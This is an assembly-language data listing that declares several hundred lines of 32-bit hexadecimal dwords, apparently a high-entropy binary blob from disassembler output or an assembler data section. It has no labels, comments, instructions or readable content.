dd 75B40EEFh, 9120561Dh, 7D4A5A3Bh, 8DBDA8C0h, 1E47D762h
dd 870AFF34h, 605E6A5Dh, 3FFBC5DDh, 0FC6B38h, 3CC7BCEFh
dd 90B1A3D1h, 2C2C4930h, 31789709h, 0B61B6000h, 5092BD38h
dd 7717601h, 57937367h, 1237C820h, 185AF8D7h, 0C15F1111h
dd 94877301h, 0A36EF4D1h, 4CDC24h, 4D5C93D5h, 0D451168Dh
dd 0B0777D26h, 6ED9CA00h, 5420F3ADh, 34EC4Ch, 0BD71CF44h
dd 240DB6D5h, 261C2E00h, 0F331B06Ah, 9FB700BAh, 4FC32B44h
dd 7800E1A5h, 302E7FF5h, 0A717B9Ah, 1282DB58h, 2A640090h
dd 0E36AA884h, 0CCF23300h, 8DE1CA5Bh, 73B700DEh, 0AF2E4255h
dd 0E3EA06Dh, 821D80C9h, 0D4E8F6EEh, 0A473005Fh, 4C2D39BCh
dd 43985479h, 0FF6E9100h, 0F4069590h, 8D30F3Fh, 41601735h
dd 520563FDh, 0E2B29305h, 14C05A98h, 426F75h, 1FD63A0Eh
dd 0BD3CF6Dh, 0F2B77900h, 4BEA3054h, 887E4808h, 0EE7A5200h
dd 49AF1E7h, 0B9C1F503h, 0C0B666FBh, 0D2264Ch, 78ABDE53h
dd 0FD6A692Fh, 9E995800h, 0A6C7EB32h, 12E701FEh, 732D24D0h
dd 8DC1F830h, 3736970Fh, 0B365C0A0h, 17EBBDEh, 60C91655h
dd 6009B53Ah, 5000137Ch, 0F7B0A6E6h, 3926219h, 3C7C443h
dd 27E0EF0Ch, 7C005440h, 0D6DF4A23h, 3EF03746h, 98009520h
dd 78E07970h, 0EE12B333h, 0D44012C7h, 0F3B63837h, 0A6DC00B9h
dd 0B17EDF9Eh, 0AD13C2E8h, 0B8409DBEh, 0C3AFEE83h, 0D1D60A92h
dd 3B0881B9h, 760ED481h, 0E8C67CDAh, 8D0CCA42h, 604ED358h
dd 95C43B13h, 0CFA57E81h, 0D0357CBBh, 0BCE93BBFh, 1453E20h
dd 0F0237D89h, 99800119h, 556F2B92h, 0A72E6D30h, 9C011150h
dd 68D4701Ch, 13F87CC8h, 1FEBF5h, 0CC6FD37Ah, 923BF3D6h
dd 7D77000Dh, 0FC8CF7FAh, 0F27630CBh, 6D50DD19h, 0C052A400h
dd 1F9BF64Eh, 38F705D2h, 916EC292h, 0CD18EE48h, 773881D0h
dd 0AF58F2Ah, 0F4821FF0h, 1B690098h, 0AAC739E6h, 4A00D2F6h
dd 6D9B6ED8h, 301C0D9h, 0B3EFAF93h, 0BECB9160h, 0DC9E7DF0h
dd 0A500CFFCh, 0C389A462h, 0FCAA223h, 4CFD6DDFh, 0C1AB8423h
dd 8573AAB0h, 0A04DDC2Ah, 8012A138h, 0F306CA74h, 0CCAE81FFh
dd 90219A08h, 0E512AA00h, 182FE27Eh, 0D885009Dh, 0C3716FD0h
dd 0F300C9FDh, 6D9E1EF8h, 1527AA6h, 1074F43Dh, 97010CECh
dd 1C009618h, 0D113B073h, 0A0D25D9Ah, 46BE600h, 6D4050ABh
dd 9476F33h, 862100CEh, 0D0760444h, 28C0D97Eh, 0C4C302B1h
dd 0EC0F3AFDh, 0C660C47Fh, 0C5233E13h, 9CFB0Bh, 0AE647216h
dd 0D45C004Eh, 0D9381F16h, 8B014F30h, 0DC0813B1h, 70A425F8h
dd 7EF50064h, 0BBBCCDBDh, 0A9740A03h, 0F7A6120Dh, 0F2814C0h
dd 0E5E100B4h, 0A7BAC85h, 0F728B9DDh, 0F4009DC9h, 0F7DBE51h
dd 0CB2DABh, 0D6563CF6h, 0D5E1D3Bh, 4D80711Eh, 0B5BDDE80h
dd 25CA21h, 159EEF97h, 0B323E93h, 95B89600h, 5BE99ECh
dd 0BACD00D4h, 0F698C0E1h, 920023A0h, 9B4B3B24h, 1F1CF17h
dd 4C2F7BF5h, 0FC5BDDFDh, 1F387A6Eh, 80A53CEDh, 8A18A022h
dd 0F6162B8Dh, 0E4FD0E9Ah, 0E5E08021h, 2FEB6872h, 944FB500h
dd 4C641E91h, 2208CC29h, 38005221h, 3179B1B5h, 0A0F1CEh
dd 119705BAh, 80EDF516h, 666FDC00h, 0DD6B95CBh, 75BE2089h
dd 61CEE506h, 178345Bh, 687EE483h, 0F8FE69CBh, 703BF626h
dd 8B7380DFh, 0A5101198h, 1864E223h, 2017BDA6h, 0F8140768h
dd 0F0204D22h, 8697905Eh, 9F44D200h, 1203A4E0h, 4A3A1DCBh
dd 72E4035Ch, 0D8E02948h, 490C07F1h, 858DB7Eh, 2621C196h
dd 0F428A461h, 4A90D7E7h, 0EDB67B00h, 69A59E6Fh, 0E4AC3EF1h
dd 0F5B40180h, 0AD9F0670h, 625ACC06h, 0A075FDh, 0D65112E4h
dd 0B72EEB2Fh, 26F3E819h, 21801A08h, 7ED65931h, 0E2057BB5h
dd 11F3694Eh, 0CDC6B840h
dd 52839C7h, 0C9DDEDEBh, 33B00051h, 0D6E469E9h, 1A28E861h
dd 51B17F5Fh, 83F6742Ah, 4FCE9628h, 72401D97h, 303D5861h
dd 9F2009CBh, 0C4588566h, 0E94E606Fh, 329814F1h, 0D303B87Eh
dd 0E6CB4972h, 15B5023h, 0EB2CD650h, 32000E26h, 2235D658h
dd 0A3EA9E08h, 23B06B6Eh, 0F45915h, 0FE5E2CC8h, 70ED9A0Ah
dd 36A0F30Ah, 0A281F457h, 6EA6A853h, 0D65C1082h, 0C880B5DDh
dd 0FEE08BE7h, 0F3E87E54h, 646A6818h, 33AD228h, 7DD1F159h
dd 41B59861h, 0DA86698Ch, 628201Eh, 7E8D4C06h, 4948155Ah
dd 245094F9h, 2A048C37h, 4FF1D9A4h, 29249462h, 613BD8C0h
dd 529D5C42h, 0F38B1B0Eh, 69856FE0h, 0F8AA6EE7h, 602FC884h
dd 234DB52Dh, 0E3088194h, 365800E4h, 8283F8B5h, 1AEB6F00h
dd 44DAA5D0h, 604A1FE7h, 0FCD97198h, 0D0B8576Ch, 56A64955h
dd 20E25700h, 6DBCF040h, 0BC545092h, 0F8056ADCh, 0E03E03B8h
dd 0C9641EFFh, 306035F8h, 0F13BC7A4h, 622243FFh, 0A4682700h
dd 0EDE9F894h, 0D98B02ADh, 0B98DD73Bh, 8493D084h, 237C08E4h
dd 8AC339C4h, 7C279594h, 0C219Ch, 0D604B522h, 0CBF14F13h
dd 26735104h, 0B4C66E94h, 0DD6928C8h, 0F5742A18h, 73BA0084h
dd 98AA64F8h, 497863CEh, 39ADB601h, 5DB9D20Eh, 0F0643423h
dd 0A4246021h, 5FF22BDBh, 0E6311F4h, 20A45C1Bh, 1ABB238h
dd 0CE9E0C68h, 79903E27h, 6E1FD806h, 9810668Ah, 691A0CBFh
dd 0BB405D52h, 5B0B632Ch, 12215428h, 10060256h, 220474E7h
dd 4B857E4Eh, 0A05E73h, 249CDB44h, 17EC2D6Ah, 83ED233h
dd 912102FBh, 438F9D23h, 0EBE8B4E3h, 4CB86DD0h, 87292490h
dd 2511C4E6h, 23B52B80h, 40913194h, 0C03456C2h, 7FDE118h
dd 5DB41A95h, 0D0E02C66h, 7104D91Ch, 65985FC3h, 0E9880479h
dd 80C6F687h, 8D4BB700h, 1A807402h, 8F5AC866h, 0A8974A84h
dd 0B158Eh, 0C9123430h, 0F8660092h, 7BE22DD5h, 0EAEA4D0Fh
dd 8ECBC12h, 48B5822h, 0D42E3534h, 42009923h, 0D02DB395h
dd 217B02C4h, 0E515064Bh, 0A240804Fh, 1382E8BCh, 2711196h
dd 92CC5B94h, 4E606104h, 0EB2332D6h, 2E071136h, 9D001F30h
dd 0E2FD8FDEh, 0F7E611h, 8A09894Eh, 91DDF91Eh, 62D7751Fh
dd 57727F84h, 4C71098h, 0CD6A309Bh, 20F93246h, 969D2F25h
dd 5E8E6A0Ah, 0B105D0F0h, 242B7EDBh, 8A00EC23h, 450C4828h
dd 378806A8h, 0C96E5E1Ah, 908B4B2Ah, 0B30A8400h, 3B7B8663h
dd 259E0045h, 0F50FCCEBh, 0F20982D8h, 16AD690h, 5FB96684h
dd 91731FD4h, 18F8F180h, 0F2392801h, 904D4DEAh, 28796E14h
dd 8CEEE8h, 0A22619DDh, 0E65B01C5h, 4BAF970Ch, 3FE18Ch
dd 0C0502B0Ch, 2C62C903h, 9F3DFD00h, 0CC0FA4BDh, 5EE50263h
dd 0DF8CEF6Ah, 888274C2h, 29022D7Fh, 0EBD0C468h, 0D6044F18h
dd 0B6FEEB2Dh, 570F3F2Ch, 0CF20D2D6h, 0F258B43h, 0FC9C94FCh
dd 66008CECh, 7DA40638h, 9B4DC19h, 5BE67694h, 7E60F418h
dd 8F445098h, 1A8717E3h, 4C8C41ECh, 0BC94B0AAh, 0DE8070E0h
dd 6546845Ah, 2ED62201h, 0CB756EBh, 4A348806h, 3BF0D64Fh
dd 9617075Ch, 0F076789Dh, 0F38ADBF1h, 101E020Ch, 8857901Fh
dd 54135064h, 0A03F9074h, 2A00F123h, 0FBF69389h, 611301A3h
dd 0A1A65BD2h, 55E889EFh, 4ABC048Bh, 2D9CDC60h, 0B0256A29h
dd 9D2426C1h, 0B84057DCh, 3C91020Bh, 0D209C338h, 185C9099h
dd 39D60823h, 33701EEBh, 8BD6004Bh, 0C94E0D0Bh, 500273CFh
dd 0A1DDEDCCh, 833440E7h, 0F081D452h, 8EEEE8h, 97590D3Ch
dd 63DDFB41h, 98EC603Ch, 0B460F5A9h, 733A2465h, 5FE20310h
dd 4100E895h, 0D2F3D084h, 3FB1BD3h, 0DDEA755Ah, 38033E35h
dd 2384CEA0h, 0E0D7DBEDh, 0CE1C2FEEh, 6A044B0h, 9DFFE402h
dd 0D0225Ch, 4B11DA55h, 0E7BC5Dh, 0A896B2A2h, 1B08337Eh
dd 0FAF5D70Ch, 70A04030h, 5851605Eh, 0A96A10Dh, 37AD7F01h
dd 5AFAD22Dh, 9F969D0h, 8A4A8581h, 49D9E020h, 7F003680h
dd 0BFE677CEh, 542FD8h, 0A79C73DBh, 265E9F16h, 0CFE8526Fh
dd 81E088F9h, 6778396Ah, 5ADACC3Fh, 0C6438B00h, 0F515194Dh
dd 0BCA5581Eh, 3AE56610h, 98A69B94h, 50B87E48h, 0B2B8820h
dd 0B3AA8FEAh, 0C4998A9h, 6F886079h, 0D3E08D04h, 20A317C2h
dd 0B033F0E2h, 7BF930C3h, 4C3C00EFh, 5BDA4BEBh, 94000C97h
dd 0D81A8679h, 18CC1B5Ch, 0A865AE5Dh, 212015EDh, 0A59E27E7h
dd 0B908003Dh, 8DE64216h, 28202135h, 6A0096D5h, 814D11C8h
dd 6A2E9CDDh, 846243D1h, 9D2523C0h, 44B93A87h, 88F81F80h
dd 0F41D01h, 5FC66463h, 1EFE6ECEh, 0C9D45926h, 2370E700h
dd 16F2B84Ch, 3A54C545h, 21A23F0h, 0A60C47Ch, 49E04841h
dd 0ADC000ECh, 5C2E8BF3h, 0DE18EA7Ah, 30244FB1h, 0B940B7B0h
dd 6501CF0Eh, 0BF241E1h, 80F204EFh, 0F5E02AC8h, 0DBD1C25Ah
dd 0C06891D3h, 0A524D65Bh, 0EE1830B7h, 0F4C6821h, 56549715h
dd 9747900h, 0A000F385h, 719AF8D7h, 48EE6DB4h, 0D3090462h
dd 0F0107323h, 0F904C9FCh, 0B6AA7E76h, 0E100BCA2h, 82B850ABh
dd 0F2007D65h, 78BA4EA7h, 1D3B93BEh, 4FF32EF1h, 40608849h
dd 0D9A8D01Ah, 9B7ED700h, 12DA5D1Eh, 0C09876CDh, 0DBB57228h
dd 66249E43h, 80B848D2h, 73CCC28Eh, 83E5DAEh, 0FAC8E5EDh
dd 0A1034C00h, 3082470Eh, 5EE9754Ah, 9C045343h, 55EC6C35h
dd 0ED8BF680h, 0D22400D7h, 0D470CBB0h, 9E1E08C3h, 3F42F3B5h
dd 0C1B17871h, 0DC506960h, 6341DF03h, 467468E2h, 0DAEAF100h
dd 697F7D81h, 3DC91E8h, 962265CCh, 204BB001h, 0D7790FCAh
dd 0E95291F8h, 0C908F0h, 504DD298h, 0DD1F3B57h, 321DD1FEh
dd 0DC00BD55h, 0A0B6EE7Dh, 0D3F03DBh, 1D91793Eh, 21C20830h
dd 0A0EE84h, 0E91E42B5h, 0D8D7180Bh, 5DC0F400h, 0D10E7DE0h
dd 729A0059h, 6773EEAFh, 2D08F265h, 0DCE7E9h, 0A51F3C58h
dd 220021D5h, 0BBFBBE42h, 2473526Ch, 1B876F5h, 87B8C762h
dd 60E8F495h, 80C31774h, 0C3D502F0h, 33AECB81h, 0E201160h
dd 0C95E06A4h, 0A9D01A9h, 9A211E20h, 0D3CAF0ADh, 0D16018C2h
dd 0B578902Dh, 3FDA08A0h, 0C3643DC5h, 0A0ED405Ch, 760FD348h
dd 0C5D24A00h, 0E256F04Ch, 61A8C13Dh, 8FD3F3EDh, 2AE7AE31h
dd 7B3C847Ch, 0CC052107h, 62C380C6h, 6CA9056Fh, 5DDAE3Ah
dd 40ED3988h, 6FB4BB9Ch, 230086D2h, 0BE5341Ah, 240814h
dd 79B74FAFh, 2220FDEh, 1D617860h, 738793B0h, 0E1740CFEh
dd 69087BE6h, 0B82669C7h, 66BBD9D0h, 20E0A1h, 1938D2BEh
dd 17E9BC0Fh, 0CCA8DCE4h, 0B8008771h, 192E5981h, 0CC1E52BDh
dd 13A97608h, 0ADB82C2Ch, 14E3EA01h, 21DC1123h, 7E0231ADh
dd 0D0C78971h, 4D00A679h, 0B7EF9484h, 0A428E9BAh, 0FEB8FA34h
dd 22864659h, 31140EA9h, 9780D8B8h, 0F439ECF8h, 0B2F90A8h
dd 0D7408ECh, 0C7DE2C00h, 56913A57h, 0D0EC375Eh, 0D4C5F060h
dd 481DCD4Bh, 0C7C09B51h, 94821AD7h, 0DC250069h, 54ED2776h
dd 7D0896D9h, 80E140B4h, 0B6F9DB3Ch, 9B07C876h, 9D3869D4h
dd 213146h, 0CEFA2322h, 7A66CDC2h, 5409D3F8h, 0EFEE619h
dd 0BF09D05Ch, 8B01055Eh, 2429F9ECh, 0F3F6110Ch, 0DEF41000h
dd 51D2BD5Bh, 0F8C1F427h, 9061D9FEh, 42E1881h, 3076E9FAh
dd 2046329Dh, 37FA1629h, 0E7B67400h, 54D7CC10h, 12DF7112h
dd 3001EF0Fh, 8893AF14h, 7D8BFE10h, 338063C8h, 49E793B7h
dd 5BE8291Dh, 3B6C05E8h
dd 0BFDC40DDh, 0D46459A3h, 4EF0B406h, 6F1F94Ah, 923D4D78h
dd 0EE4678E3h, 8B93AC02h, 1A3173FEh, 93B43210h, 0E5D3AB0Eh
dd 0A44EC020h, 0A364C6Ah, 65EEF655h, 5690098h, 0F0211C41h
dd 0C35EC03Fh, 0CA3045F2h, 0B9DF00D8h, 154FC94Dh, 6C00443Fh
dd 0F17B374Eh, 38F3286Dh, 12A85773h, 0D25E2A64h, 0EFDF00E4h
dd 1A152B41h, 0D300128Ch, 5546DD62h, 0CA07134Eh, 118489B0h
dd 938287E4h, 7483FEC1h, 3888610Ch, 0F89301AAh, 0E07A81CAh
dd 0E8DDC014h, 22806899h, 0C131272Dh, 0EAE2008Dh, 6F7F594Eh
dd 7B0066C7h, 0E3AB5BFCh, 3548C85h, 5ECB7D6Ch, 90000BCFh
dd 39FAAC53h, 0C5F6DCh, 8F8A2A1h, 15C221DDh, 0E0D3672Ch
dd 3EEA4030h, 587D60F6h, 0F2F8BB7Ch, 990BDE03h, 0EA949154h
dd 25B8B07Eh, 76E811FAh, 80438838h, 42FA2D1Ch, 0C33BB670h
dd 49EC83A2h, 0C92E84B1h, 21F85EBEh, 0C68600BCh, 0F6C86B47h
dd 8948B35Ch, 550E1229h, 5FE83004h, 28C6A8C8h, 0ED49451h
dd 7343BE3Ah, 10602F36h, 49C0D0F9h, 66DB9D57h, 7B5A0500h
dd 0E3ADA61Dh, 634675B4h, 726D78DEh, 0E9BBC809h, 8B60B023h
dd 59AD10B8h, 301FE08Eh, 0B12600B8h, 51D9816Dh, 64C7405h
dd 0C1562000h, 0FFF7D149h, 49B980C5h, 0ED789F4Eh, 917348DEh
dd 0D75DD3Bh, 8D74F0Eh, 0DB81F038h, 6718E660h, 157CB05Ch
dd 94DC9A74h, 11725E08h, 0D66C7E03h, 0C0186D57h, 5BF928h
dd 50AA5Ch, 0D4B1B60Ch, 4E34482Ah, 0CCEFDCFEh, 390027B2h
dd 796FA27Dh, 0BDEE36h, 58F23246h, 0AF7BCB8Fh, 4BDB620Eh
dd 0B803DF9Fh, 80480ACFh, 33A9A6h, 0C1D41AEh, 2C388FBFh
dd 0E45B641Dh, 2899CAC0h, 7EA6ACBh, 74CBBDEh, 3CD920CCh
dd 0AC000B0Ch, 71D66708h, 7465C7h, 4D8819ABh, 83AE7625h
dd 116A3334h, 93E0046Bh, 227C7BA3h, 3B85000h, 0D0AE7284h
dd 3EC3724Ch, 7F3B922Dh, 973E9383h, 0D9C169CFh, 1429902Ah
dd 484E6584h, 1354292h, 2F94E822h, 0F642E25Ch, 112BAD11h
dd 447D950Ch, 22848A58h, 4060090Bh, 8AB06C79h, 1F90703Ah
dd 8052AA0Fh, 0F28E3C48h, 6C0EB818h, 0A00E7EACh, 171C666Dh
dd 0F4B702EEh, 152397AEh, 0BA03ABE0h, 0F04AD41Ch, 3FE00100h
dd 20C569h, 9CEC4D7h, 0AF8D836Ah, 3904F900h, 0F88F0B84h
dd 70FB0063h, 1A642712h, 5100D10Dh, 0A9799D7Eh, 0E91C3A8h
dd 0C7398FBh, 8346CC0h, 0FA00E365h, 0EFA1506Dh, 1420CC9Fh
dd 0C48AE631h, 7F7070h, 89BA6E40h, 1D3A8F39h, 484C5830h
dd 7672098Ah, 2B00F171h, 0FC1B4EEEh, 0F0104D62h, 7AA96F51h
dd 54FF0115h, 0BD4814B9h, 58F44024h, 2D001E03h, 9EB8052Eh
dd 0E14285Fh, 41571FDBh, 7AE2920h, 0A30065EDh, 471ECAA5h
dd 7B0BF08Ah, 0E40600F7h, 9A7D78AAh, 100E8EAh, 2774AECCh
dd 736B27Eh, 4131D82Eh, 5F44D049h, 0AD03F5AFh, 463EF477h
dd 0DC38007Eh, 1D42055Ch, 5E00041Fh, 974CF315h, 0F32BB7Fh
dd 82675091h, 0F5D0A860h, 0E7008E98h, 0AE2464B7h, 1D463573h
dd 80CA6588h, 51F8B209h, 0AA008BB6h, 0FD031B16h, 755FE4h
dd 683C991Ch, 64F18CD3h, 0F3CBBA00h, 0E8FF6D57h, 70A001Fh
dd 5A14E11Ch, 200030Bh, 94BE38A3h, 4842523Ah, 0F5168C41h
dd 0BB1407D9h, 9C11F079h, 63006087h, 1705733Ah, 8D959Eh
dd 0A8D323F5h, 3B82C767h, 0E592870Fh, 42072065h, 1ECDC4FBh
dd 833722FFh, 0E6D61520h, 0F1F747F8h, 0A159E907h, 1EA0562Ch
dd 9B686Ah, 28B96C5Ah, 38905788h, 0D03EE900h, 0A4197C82h
dd 27F6E0h, 5320234Fh, 25ADB88h, 0EC4A9E1Fh, 0CBD44200h
dd 0EAF860h, 0C5657B90h, 1328D66Bh, 0B1B93E00h, 7DAC419Eh
dd 3C994812h, 88A0FD3Ch, 0EC047B00h, 65062A7Ch, 2DAF38E2h
dd 0CA48A01h, 0F8DFD0A6h, 131C349Ah, 0E41F6838h, 0EDC93F80h
dd 390EA3h, 4E1AFAE8h, 52EC07CFh, 6E0CB007h, 7773A944h
dd 0E8758060h, 121FE285h, 0B343C9h, 0F4D14408h, 0F900EC3Ch
dd 0AFD5282Ah, 0C798F6h, 6A3B8F8Ch, 359F31A9h, 0A607F001h
dd 8851D33Ch, 0DB49E4h, 0F9E07032h, 0BFDF4B63h, 100AC48h
dd 94B7C7FDh, 0EE4040B6h, 0F848AA15h, 4A1A0E63h, 0B763CE89h
dd 193E3D39h, 95F280FBh, 19DB0D96h, 1CD742Fh, 0A75CD422h
dd 0F89E32CBh, 9001DD4Eh, 5F87924Fh, 16C8A5F6h, 3AAC9021h
dd 0B80006DBh, 681A5642h, 6C7A4FD9h, 204C5400h, 6DA1D82Ah
dd 7EBDFCACh, 0C47B0017h, 75EB6A05h, 11C04ECCh, 216BED5Ch
dd 65D1053Eh, 0C0E36428h, 0F0C33F7Eh, 41D7421Ch, 0A79CEC7h
dd 0C1EEE817h, 0EDD59AA8h, 70DD01C4h, 6BBC0045h, 0DBF63B73h
dd 1D00E772h, 0F166ECF2h, 60DE088Dh, 0E0B686CEh, 6301774Dh
dd 0FD210327h, 0E9D0A2E8h, 3BC30065h, 2F8E1DF5h, 0A63516Bh
dd 0E88A720Ch, 301714B8h, 4EF82378h, 0E43AC171h, 571880BAh
dd 0D6AD1960h, 0F34B1210h, 512C0086h, 402721C4h, 0FE1456E6h
dd 0FC8A4Fh, 5E9D3D63h, 38D65Ah, 69819EC9h, 0A15F10CBh
dd 2EDD4202h, 80F43907h, 8D325184h, 89280077h, 92D404EAh
dd 663FA2BDh, 977B079Fh, 606075C9h, 0F132B15h, 23F39EEAh
dd 0CC2DE463h, 0E74CA788h, 0D151641Ch, 9E33F600h, 9B9FB7h
dd 0C124A4B6h, 775A8F5Fh, 8DBD0804h, 0BC8015FDh, 1286F6A1h
dd 0EB74B6h, 0E48FAD8h, 400DF3Eh, 0BC7208A5h, 48E4FE43h
dd 0A43B227Dh, 1279D800h, 574533EDh, 0CB475E1Dh, 0F6511440h
dd 7C274BAFh, 773400C6h, 0A644E6B4h, 0C75064BEh, 0F300FCE7h
dd 9FF6863Fh, 0EC9B1A7Fh, 503E0026h, 58C0A0C5h, 0FF0044D3h
dd 0F5BF7329h, 0A1E7C3h, 8C8BED3Dh, 0F23E91BCh, 20791200h
dd 0D6BE70C8h, 0ADDB0054h, 394823B6h, 11EC8E92h, 387BE0E2h
dd 0C5327802h, 409D14F6h, 72CAABh, 0B4C41528h, 0C0302473h
dd 8F44381Ch, 2D6DA480h, 0D336C3h, 0E5B13E47h, 0D75F74BBh
dd 0E39F0101h, 49B27FFCh, 1AEC1021h, 0FE241C16h, 66BB80D1h
dd 0F0921832h, 0BDF4C700h, 5ACA277Ch, 0AAAF00A6h, 52E007EEh
dd 892890C6h, 0C80108B0h, 0F485608Ah, 0B4603B35h, 942F01E3h
dd 4F9BC3B4h, 37D4603Eh, 8935BE3Ch, 824EA23Fh, 403995E0h
dd 585C60h, 0E73C31CAh, 53D9C27Fh, 3E36A416h, 444C5000h
dd 0FE08C633h, 27E80362h, 4785C530h, 5CA822A8h, 435E6E00h
dd 0FE4144D7h, 0C5E609D5h, 0AC185725h, 857C3F05h, 0CA3F28B0h
dd 0F0090F37h, 2EC800BEh, 0E7A5EAh, 40C00A65h, 851C2C34h
dd 0E4F41100h, 92F0D00Dh, 6090B0h, 0B486EF47h, 0CEAC7EA2h
dd 0BF42EB00h, 0C1DDA90Ch, 0C99D00A8h, 1084B5Ah, 0A00E1321h
dd 800DB5B3h, 0EED2EB3Eh, 512300A4h, 0D177ED91h, 5C3ED8F0h
dd 9A9900A3h, 3A767D95h, 92C00009h, 8321C614h, 1200B797h
dd 131E1618h, 2E7EEA8h, 0DAC1200Ah, 0E4804D46h, 47B9B5ABh
dd 8A16327Eh, 0D800A218h, 89DD0495h, 91A8001Ah, 4BCA7BBDh
dd 0CB30BFA7h, 0A65C3256h, 0AB08A09Bh, 389C0246h, 2537612Eh
dd 0E86BE480h, 0ED80C272h, 30C90217h, 491C08FFh, 5CE1460h
dd 0F5BD0200h, 0E63B5DB6h, 0F20F188Bh, 0E5E4216Ch, 839BE83Dh
dd 46ACD225h, 1F09915Fh, 4FBA310h, 0E279AD75h, 0C1D5Ch
dd 0EF267F21h, 7F70A69h, 8108CE88h, 0E60506Fh, 84F215C4h
dd 80C87C00h, 0C66FCD3h, 1801FC47h, 0B822A176h, 6700C324h
dd 9A327FC2h, 7CE4233Dh, 0F1610063h, 27C5DA01h, 380016CCh
dd 62FA8145h, 1E4CBC89h
dd 0A43249A3h, 22051750h, 38C06900h, 0AF00D7ACh, 0F5632A92h
dd 0E5AE27h, 394A55Dh, 0B216F7F6h, 83776A0Eh, 308F435h
dd 600F8175h, 1290A907h, 24B53070h, 17504735h, 11EB017Ah
dd 70C94D9Fh, 0A301C43Ch, 0ABF1186Dh, 3EEC4C1Ch, 7C2B005Fh
dd 24F057E1h, 227E7782h, 0B8B52900h, 0F79FCB5Eh, 0A04B0493h
dd 0C2844F2Fh, 98101FECh, 629CA810h, 2A6F009Ch, 45E20D86h
dd 313C52A0h, 3D03F0D0h, 18BE4115h, 0FF8FB17Fh, 24A170h
dd 82B46FA4h, 56E467B9h, 0FA1DC80Fh, 2ED54192h, 50706BDEh
dd 0B8D67930h, 22FC03C0h, 1A827121h, 8AA626F8h, 2A7E3A00h
dd 1B0694B2h, 0A0AE00A4h, 6DC6F14Fh, 9A0089BAh, 83E7F314h
dd 0F4E99B74h, 5033E99h, 0F99426h, 0EEC55CC0h, 2600B775h
dd 96CB8C10h, 3643E6Eh, 0F1FFAEF3h, 0F8042CDFh, 94CC9F6Ah
dd 0B39CB0h, 7FC7336Ch, 70EBCFABh, 8F1B0301h, 10B0D0F1h
dd 0E026E2E0h, 0D9D801C1h, 0F84FD15Eh, 0DCFE6132h, 33004599h
dd 0A6154956h, 0C9DFB1Bh, 22574BA1h, 9000D260h, 0EFC42A1Fh
dd 79E0EDD3h, 69B8016Eh, 0F2AE48EAh, 870CD17Ch, 277E2E99h
dd 47A73DD0h, 2D1008Eh, 0AAB6D719h, 703CFBE9h, 0C7980ACh
dd 93D2CA83h, 30210028h, 401BB8Bh, 2F034F9Ah, 6C1215EDh
dd 83C0EC72h, 5ABB35Fh, 4BA3049Ch, 0EBECC064h, 0AD792FFFh
dd 762EA701h, 9641D2EFh, 0CFE0C0h, 4D741678h, 0AD0C80F7h
dd 1336E60Eh, 909E40CBh, 250BD40Fh, 78877B58h, 57DF628Fh
dd 55D02040h, 6B50F607h, 8049E733h, 48825F19h, 5AE6B1h
dd 0B94E9E7Ah, 69F0B6EAh, 4171A07Ch, 26B8E600h, 9BD95D60h
dd 301A72C9h, 2241F205h, 0B61E5828h, 130C9F8Dh, 54BF90D7h
dd 0FEE89C37h, 81E30EC2h, 0A5A12D0Ah, 2868FC5Dh, 49DB098Ch
dd 6A060BEh, 7E1F2A8Eh, 0ED5F00E0h, 6D62904Ch, 0D4F76CCDh
dd 1F00E23Ch, 4188B6F1h, 2823AFh, 78AD03CFh, 0D28F928Ch
dd 0A67CEC12h, 68FAAA00h, 373BAC8h, 971C5BBEh, 782869FDh
dd 1F0F8461h, 0E00AD4DEh, 52E7C5C4h, 78E90086h, 51089BAAh
dd 0C8A05D1Dh, 9C285B21h, 7C92C649h, 402B2C07h, 80CE0D46h
dd 0DF347FFBh, 1A8507BAh, 50C27Dh, 0E77E269Dh, 0C3F8C4A8h
dd 0E39DA07h, 3C006763h, 10EC02CCh, 0C804F1h, 0E9247533h
dd 0F70B0Ah, 32CCC8Eh, 2D6B7A38h, 439F080Fh, 2A6C2029h
dd 1EB928h, 0A3BC33F8h, 87185096h, 0CCE0B8A8h, 0A0F449h
dd 3EB6D652h, 0E8C0A84Bh, 10D0C048h, 0C1B8EB54h, 4C169400h
dd 0B54A9B66h, 0D628065Fh, 282F40EDh, 0C206D490h, 172E1337h
dd 0D93900F8h, 2390E0C5h, 0D8A02577h, 9027F2Ah, 31D6338Fh
dd 1C4354h, 0DE3879D0h, 0C2C77D9Dh, 4CBF3900h, 203F457Ch
dd 0CCF8A950h, 6B26FC38h, 0C69A02B4h, 2C48AD2Ah, 4202338Bh
dd 9BDD0B5Ah, 628C8F8h, 85BB26E4h, 945400E7h, 0C9381274h
dd 0FFA1D7Fh, 65620400h, 39AA80C5h, 0D9F9005Ah, 82F3FFA1h
dd 0E9056C34h, 7994EC61h, 814CCC49h, 0FE0175B4h, 1B5E798Fh
dd 0AEBE9360h, 5C407A55h, 321C067Dh, 70A87C85h, 9E000CE2h
dd 0BF6CEA06h, 1CB5169h, 547A5BF3h, 0E6D36664h, 0D203060h
dd 3681C506h, 28B0F4h, 3AD87FB4h, 8B9AFA0Bh, 1E86400h
dd 0BDE62283h, 5553759Eh, 34A7E0BBh, 0E7B82401h, 244570AAh
dd 0A20ED490h, 72F3Bh, 0F03086C4h, 37E0048h, 0BA890E78h
dd 6E02695Ah, 0A2971BE9h, 7AE88767h, 0F7BFB650h, 1D8E0028h
dd 0EC7F17A7h, 0C9001C24h, 9883FC44h, 0CBABDEh, 57ACDB0Ah
dd 0BB63661Ah, 0E580DF01h, 0A84A797Fh, 1700283Ch, 0A5B21521h
dd 0F40082D4h, 0BF708098h, 0D2DA27h, 0D034F751h, 0DC160877h
dd 0E5A52F00h, 0CFC37221h, 5D240083h, 51368B91h, 0FF187B8Dh
dd 23F84E2Eh, 0A0A21ECFh, 2022005Ah, 0AE64D8DAh, 28244C18h
dd 0A6CB12h, 7FC572B4h, 0FDBC7392h, 3D28F9B8h, 0A3000874h
dd 58C953FEh, 0B8198DF9h, 0F050FA2Ch, 0A6F000C3h, 0DAACB6BCh
dd 8500C532h, 0C17E533Bh, 491496D6h, 0EC3AF428h, 0BE220A80h
dd 0EDB46EF0h, 0D34D6D00h, 0CD7FB723h, 0D2C0051h, 471AE057h
dd 0EC0B7117h, 87699072h, 14F2B3C6h, 28184091h, 0BEA80BC7h
dd 158010FAh, 0D63F57Ah, 407CD200h, 41A751B3h, 9E86Ah
dd 8558A246h, 477B759Fh, 5F1E44F6h, 0C142E46Dh, 80294CA9h
dd 0F838EAE8h, 0FD207C5h, 70CC3F1Eh, 4C98DFEBh, 6275CB2Eh
dd 232ADB00h, 4866E247h, 0D9005BE3h, 79F69C25h, 0EEB80991h
